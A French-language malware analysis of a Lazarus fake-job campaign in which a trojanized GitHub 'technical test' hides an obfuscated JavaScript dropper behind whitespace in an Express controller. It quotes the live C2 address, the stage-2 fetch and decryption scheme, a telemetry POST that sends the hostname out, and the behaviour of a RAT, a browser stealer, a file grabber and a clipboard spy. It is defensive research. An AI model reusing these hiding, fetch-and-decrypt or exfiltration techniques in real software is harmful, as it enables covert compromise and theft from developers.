Lazarus : un dropper JS caché dans un faux test technique
Catégorie : Lazarus
Analyste : Gordon PEIRS
Type : analyse statique du dépôt trojanisé, complétée par une émulation en bac à sable Node.js. Le payload n'est jamais exécuté pour de vrai et le code analysé n'a aucun accès réel au disque, aux processus ou au réseau. J'ai fait une seule requête HTTP en lecture seule vers le vrai C2, pour récupérer le stage 2 chiffré, sans l'exécuter.
Famille : Lazarus Group / DEV#POPPER (Contagious Interview). Ciblage de développeurs par de fausses offres d'emploi et de faux « tests techniques » avant entretien.
Tout est reproductible depuis
runbook.md. Les scripts et les artefacts désobfusqués sont danstools/.
Résumé
Une fausse offre d'emploi sur LinkedIn renvoie vers un dépôt GitHub crédible (pspn-frontend, un dashboard PulseChain avec de vraies dépendances web3), présenté comme un test technique à faire tourner avant l'entretien. Le payload est caché derrière des centaines d'espaces, après un faux commentaire dans un contrôleur Express. Il s'exécute au premier npm start, sans que la victime ait autre chose à faire. J'ai rejoué toute la chaîne dans un bac à sable Node.js isolé (contexte vm, fs/child_process/réseau interceptés et neutralisés), avec une seule vraie requête HTTP, en lecture seule, pour récupérer le stage 2 chiffré sur le C2. Une fois déchiffré, ce stage 2 dépose quatre modules Node détachés : un RAT avec shell interactif et tunnel SSH (scdata, sur un canal Socket.IO dédié), un voleur de données de navigateurs Chromium (ldata), un moissonneur de fichiers personnels et un espion de presse-papiers. Pendant toute l'analyse, aucun payload n'a touché un disque, un processus ou un serveur tiers en dehors du bac à sable.
1. Contexte
Tout part d'une archive pspn-main.zip reçue via une fausse offre d'emploi LinkedIn. Un recruteur contacte la cible, lui propose un poste, puis lui demande de faire un « test technique » : cloner un projet GitHub et le faire tourner avant l'entretien. Le dépôt se présente comme pspn-frontend, un dashboard React/Express autour de PulseChain (wallet, swap de tokens, paris sportifs UFC).
Le projet est crédible : vraies dépendances web3 (ethers, web3, @web3-onboard/*), vrais assets graphiques, README cohérent avec des instructions d'installation classiques (npm install --legacy-peer-deps puis npm start). Au premier coup d'œil, rien dans le dépôt (README, arborescence, historique apparent) ne trahit une compromission.
Le piège est dans le code serveur. Un payload JavaScript obfusqué est caché dans un contrôleur Express et s'exécute tout seul dès que la victime lance le serveur pour tester l'application, comme le README le lui demande.
2. Identité des échantillons
| Fichier | SHA256 | Taille | Rôle |
|---|---|---|---|
pspn-main.zip |
c5435f903a4ab012718ab1094c85ecea1e316b1c8e61e090d43a84cfe03e4c5c |
5 864 493 o | Archive du dépôt trojanisé (source du "test technique") |
server/controllers/userController.js |
1d307af5034ecc0daee2a5d06abe624d63de18799e4826d72d6a35592120f345 |
31 763 o | Fichier hôte de l'injection |
| Payload stage 1 (extrait de la ligne 8) | 192037630d29ec97895d2d986b383dae1c68a47d18354beaee2f44fc7793548b |
24 236 o | Dropper obfusqué |
| Réponse C2 stage 2 (chiffrée, récupérée en direct) | 04b9981cd85005990b607233b6cf5f46f5eefb82dfcd4de31c8112dcd7af062a |
153 029 o | IV_base64:ciphertext_base64 |
| Stage 2 déchiffré | fefc0504d96b491a790702bff38e2b7cdd3c1520d52c07ef24e21ac1b8af1e5d |
114 745 o | Lanceur de 4 sous-modules |
/tmp/scdata (déposé par stage 2) |
e5395c4d0f37e0f3a643b725468087cbdf00cd13ccaae02c4c35de7890238fa1 |
16 919 o | RAT / shell interactif + SSH |
/tmp/ldata (déposé par stage 2) |
9edae13f6438bff29b2a0223080344fdda13d1be6bab44139f679b43d256333a |
11 474 o | Voleur de données navigateur |
| Script "grabber" (spawn inline) | 628d71d67eefc7c93194743359088bd9ff9daa10ca76d1d2a7ae071bfc49d899 |
9 601 o | Moissonneur de fichiers |
| Script "clipper" (spawn inline) | 2d18dcc30edbb90752aed0b651688ab0e830fa137edb6bc3e5eae4c73e8e4757 |
2 960 o | Espion de presse-papiers |
Je n'ai pas trouvé l'archive sur les plateformes publiques de partage d'échantillons au moment de l'analyse. Elle vient directement de la cible de la campagne, pas d'un dépôt de recherche.
3. Outillage
unzip,grep,wc: triage initial du dépôt- Un binaire Electron (
code, VS Code) lancé avec la variable d'environnementELECTRON_RUN_AS_NODE=1. Il sert d'interpréteur Node.js complet (v24.15.0), faute denodeinstallé sur la machine d'analyse tools/harness.js: le bac à sable écrit pour cette analyse, basé sur le modulevmde Node. Il charge le code obfusqué dans un contexte isolé oùrequire,fs,child_processet tous les appels réseau sont remplacés par des versions qui journalisent l'appel et renvoient une valeur inoffensive, sans toucher au disque, lancer de processus ni contacter de serveur. Tout appel vers un module ou une fonction inconnue tombe sur un proxy « trou noir », qui journalise, ne lève jamais d'exception et renvoie un nouveau trou noir. La logique du malware peut ainsi aller jusqu'au bout sans jamais se retrouver dans son proprecatchsilencieuxtools/extract_stage1.py: extraction du payload caché dansuserController.jstools/decrypt_stage2.py: déchiffrement AES-256-CBC / scrypt de la réponse du C2, une fois le schéma retrouvé par émulation- Python 3 (
hashlib,cryptography) pour vérifier le déchiffrement de façon indépendante
4. Stage 0 : le leurre GitHub
Le README.md du dépôt dit textuellement :
npm install --legacy-peer-deps
npm start
npm start lance concurrently "node server/server.js" "react-scripts start" (défini dans package.json). Le serveur Express charge app.js, qui charge routes/userRoute.js, qui charge controllers/userController.js, avant qu'aucune route ne soit appelée. Le payload s'exécute donc au démarrage du serveur. La victime n'a rien d'autre à faire que suivre le README.
Deux dépendances du package.json détonnent dans un dashboard de paris sportifs web3 : @primno/dpapi (un wrapper de la DPAPI Windows, qui sert d'habitude à déchiffrer les secrets stockés par les navigateurs Chromium) et node-machine-id (empreinte de la machine). Je n'ai trouvé aucun appel à ces deux paquets dans le code source visible du dépôt (grep sur tous les fichiers .js/.ts/.tsx). Le code embarqué ne les utilise sans doute pas directement, mais leur présence dans les dépendances va dans le sens de la campagne. Le stage 3 « voleur de données navigateur » a besoin de déchiffrer de la DPAPI sous Windows ; je n'ai pas pu confirmer le lien, faute d'avoir vu ce module tourner sous un vrai Windows.
5. Stage 1 : le dropper caché dans userController.js
5.1 Localisation
Ligne 8 du fichier, juste après un faux commentaire anodin :
/* const path = require("node-path-addon"); */ [des centaines d'espaces] function b(c,d){...
Le commentaire imite un require inoffensif. Le vrai payload est sur la même ligne, repoussé hors de la fenêtre de l'éditeur par des centaines d'espaces. Quand on parcourt le fichier dans un IDE, on ne voit que le commentaire.
5.2 Obfuscation
C'est la signature classique d'obfuscator.io : un tableau de 330 chaînes encodées, deux fonctions de lookup (b décode seulement du custom-base64 ; c décode le custom-base64 puis applique un flux RC4 dont la clé est passée en second paramètre), et un IIFE anti-falsification qui fait tourner ces fonctions de lookup en boucle.
Réimplémenter l'algorithme de décodage en Python donne la plupart des chaînes, mais laisse une centaine d'échecs : surtout le bloc anti-falsification et quelques chaînes de la table de dispatch interne d'obfuscator.io. Le plus fiable est de ne rien deviner : j'ai fait tourner le vrai code de décodage (les fonctions a/b/c du malware, purement fonctionnelles et sans effet de bord) dans le bac à sable Node. Le taux de résolution passe à 100 %, et surtout on peut observer la suite du programme, au-delà du tableau de chaînes.
5.3 Comportement observé
En laissant tourner le vrai payload dans le bac à sable (require/fs/child_process/réseau interceptés et journalisés, jamais exécutés pour de bon) :
child_process.execSync("npm install axios socket.io-client --no-warnings --no-progress --loglevel silent", {windowsHide:true, cwd:"/tmp"}). Ces deux paquets sont déjà des dépendances légitimes déclarées dans lepackage.jsondu projet. L'installation forcée garantit qu'ils sont disponibles, et elle passe inaperçue.require('axios'), puis une requête vers :
GET http://147.189.172.105/api/service/99cef4b32f24dcc475a4e7be8d2423c4
Authentication: jwt
- La chaîne
99cef4b32f24dcc475a4e7be8d2423c4(l'identifiant de service dans l'URL) sert une deuxième fois, comme mot de passe pour dériver une clé AES-256-CBC viascrypt(id, salt="salt", N=16384, r=8, p=1, dklen=32). - La réponse attendue du C2 a le format
<IV en base64>:<texte chiffré en base64>. Elle se déchiffre avec la clé ci-dessus (padding PKCS7).
Cet identifiant sert donc à la fois d'adresse du service et de secret partagé. Il est probablement généré par victime ou par build, ce qui permettrait à l'opérateur de servir des charges différentes selon la cible avec un seul point d'entrée HTTP.
6. Récupération réelle du stage 2
Le bac à sable m'a donné l'URL complète et le schéma de déchiffrement sans exécuter le payload. J'ai ensuite envoyé au vrai C2, qui était actif au moment de l'analyse, une requête HTTP GET en lecture seule, identique à celle qu'aurait faite le malware, pour récupérer le stage 2 :
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 153029
Corps : <IV base64>:<ciphertext base64>. Déchiffré avec la clé dérivée à l'étape précédente (tools/decrypt_stage2.py), il donne 114 745 octets de JavaScript en clair, encore obfusqué avec le même schéma obfuscator.io (nouveau tableau de chaînes, nouvelles clés RC4). Rien de ce contenu n'a été exécuté ailleurs que dans le même bac à sable Node isolé.
7. Stage 2 : le lanceur, quatre sous-modules
Rejoué dans le bac à sable, le stage 2 dépose et lance quatre composants, chacun dans un processus Node détaché :
7.1 scdata : RAT et shell interactif
child_process.execSync("npm install socket.io-client ssh2 node-pty@1.0.0 --no-warnings --no-progress --loglevel silent", ...)
Connexion Socket.IO vers http://147.189.172.105:7861 (reconnectionDelay: 2000, timeout: 2000000), avec onze gestionnaires d'événements :
| Événement | Fonction probable |
|---|---|
start-terminal / terminal-input / terminal-resize / stop-terminal |
Pseudo-terminal interactif (via node-pty), streamé en direct au C2 |
command |
Exécution de commande arbitraire hors session terminal |
start_ssh / ssh_input |
Tunnel ou session SSH (via ssh2) |
whour, kill |
Codes de contrôle non identifiés précisément |
connect / disconnect |
Cycle de vie de la session |
Avant de se connecter, scdata crée un fichier verrou /tmp/.npm/vhost.ctl (contenu observé : "3938716", sans doute un identifiant de session ou un PID), lit /proc/cpuinfo pour l'empreinte machine et envoie un rapport de télémétrie :
POST http://147.189.172.105/api/service/makelog
{"message": "...", "host": os.hostname(), "uid": "99cef4b32f24dcc475a4e7be8d2423c4", "t": "180"}
Le champ host contient le vrai nom de la machine locale. Il vient de os.hostname(), que j'ai laissé s'exécuter dans le bac à sable parce que c'est un appel purement local et inoffensif. La valeur n'est jamais sortie du bac à sable, puisque la couche réseau était interceptée, mais elle confirme que cette télémétrie identifie la victime par son hostname.
7.2 ldata : voleur de données navigateur
Il requiert form-data (upload multipart) et vérifie l'existence des répertoires de profil de plusieurs navigateurs basés sur Chromium :
- Google Chrome
- Microsoft Edge
- "lt-browser" (probablement un alias ou un navigateur additionnel visé)
- Brave (
BraveSoftware/Brave-Browser)
Vérifier des profils Chromium puis uploader en form-data, c'est le schéma classique du vol de Login Data/Local State/cookies. Je n'ai pas poussé le module jusqu'à l'upload dans le bac à sable : les existsSync y renvoient toujours false, ce qui coupe la logique avant la lecture et l'envoi.
7.3 Script "grabber" : moissonneur de fichiers
Lancé par child_process.spawn('node', ['-e', <code>], {detached: true}). Il parcourt le répertoire personnel de l'utilisateur (os.homedir()) et /mnt (le point de montage des disques supplémentaires, qu'il s'agisse de volumes réseau ou de supports amovibles). Une longue liste de dossiers exclus (caches, dépendances, dossiers système) lui permet de viser les fichiers de l'utilisateur plutôt que le bruit. L'exfiltration passe par form-data et axios, comme pour ldata.
7.4 Script "clipper" : espion de presse-papiers
Lancé lui aussi par spawn(..., {detached: true}). Il renomme son processus (process.title), sans doute pour se fondre dans la liste. Il lit le presse-papiers avec child_process.execSync et une commande qui dépend de la plateforme (os.platform()), dans une boucle de sondage continue (watchClipboard), et envoie chaque nouvelle valeur par un appel axios vers le même genre d'endpoint de télémétrie que scdata (makelog). Je n'ai pas capturé les commandes système exactes par plateforme : la boucle est asynchrone et infinie, et j'ai arrêté le bac à sable avant qu'un execSync de lecture du presse-papiers ne tombe dans la fenêtre d'observation.
8. Infrastructure C2
| Indicateur | Rôle |
|---|---|
147.189.172.105 (HTTP, port 80) |
Distribution du stage 2 chiffré (/api/service/<uid>), télémétrie (/api/service/makelog) |
147.189.172.105:7861 |
Canal Socket.IO du RAT interactif (scdata) |
99cef4b32f24dcc475a4e7be8d2423c4 |
Identifiant de service ET mot de passe de dérivation de clé (double usage) |
Je n'ai identifié qu'un seul C2 pour toute la chaîne (elle n'est pas répartie sur plusieurs adresses). Il sépare le port HTTP standard, pour la distribution de charge et la télémétrie, d'un port dédié (7861) pour le canal de contrôle interactif Socket.IO.
9. Méthodologie d'émulation sûre
À aucun moment le payload n'a été exécuté sur une vraie machine, et le code obfusqué n'a jamais pu toucher le système de fichiers, lancer un processus ou contacter un serveur sans contrôle :
- Le code du malware tourne dans un contexte
vmNode.js isolé.require,fs,child_processet toutes les primitives réseau y sont remplacés par des fonctions qui journalisent l'appel et renvoient une valeur inoffensive (chaîne vide,false, promesse rejetée ou résolue avec des données factices, selon ce que je veux observer). - Un décorateur « trou noir » générique intercepte tout appel vers une fonction ou un module imprévu. Il journalise et renvoie un nouvel objet du même type, ce qui absorbe les branches de code inattendues sans lever d'exception ni interrompre l'exécution.
- Le seul contact avec le monde réel est la requête HTTP GET en lecture seule vers l'URL C2 reconstituée par l'émulation, pour récupérer le stage 2 tel que le C2 le sert. Le contenu chiffré ne pouvait pas se deviner, seulement la façon de le récupérer et de le déchiffrer. Aucune commande ni aucun fichier reçu du C2 n'a été exécuté : seul le JavaScript en clair, une fois déchiffré, a été relu dans le même bac à sable.
Avec cette méthode, le malware se désobfusque tout seul (ses fonctions de décodage sont correctes par construction), et aucune charge utile n'atteint jamais le disque, un processus ou un tiers.
10. Conclusion
La chaîne part d'un dépôt GitHub crédible, livré par une fausse offre d'emploi LinkedIn, et aboutit à un accès interactif complet à la machine de la victime (shell, tunnel SSH), avec au passage le vol systématique des données de navigateur, des fichiers personnels et du presse-papiers. Tout démarre au premier npm start, sans autre action de la victime.
Le point d'entrée est un payload caché derrière des centaines d'espaces, après un faux commentaire, dans un fichier par ailleurs fonctionnel et cohérent avec le reste du projet. Une revue de code classique, où on lit le fichier dans un éditeur, ne le voit pas. Pour le détecter, il faut soit un outil qui signale les lignes anormalement longues, soit inspecter systématiquement le texte brut des fichiers avant d'exécuter un projet reçu par un canal non vérifié.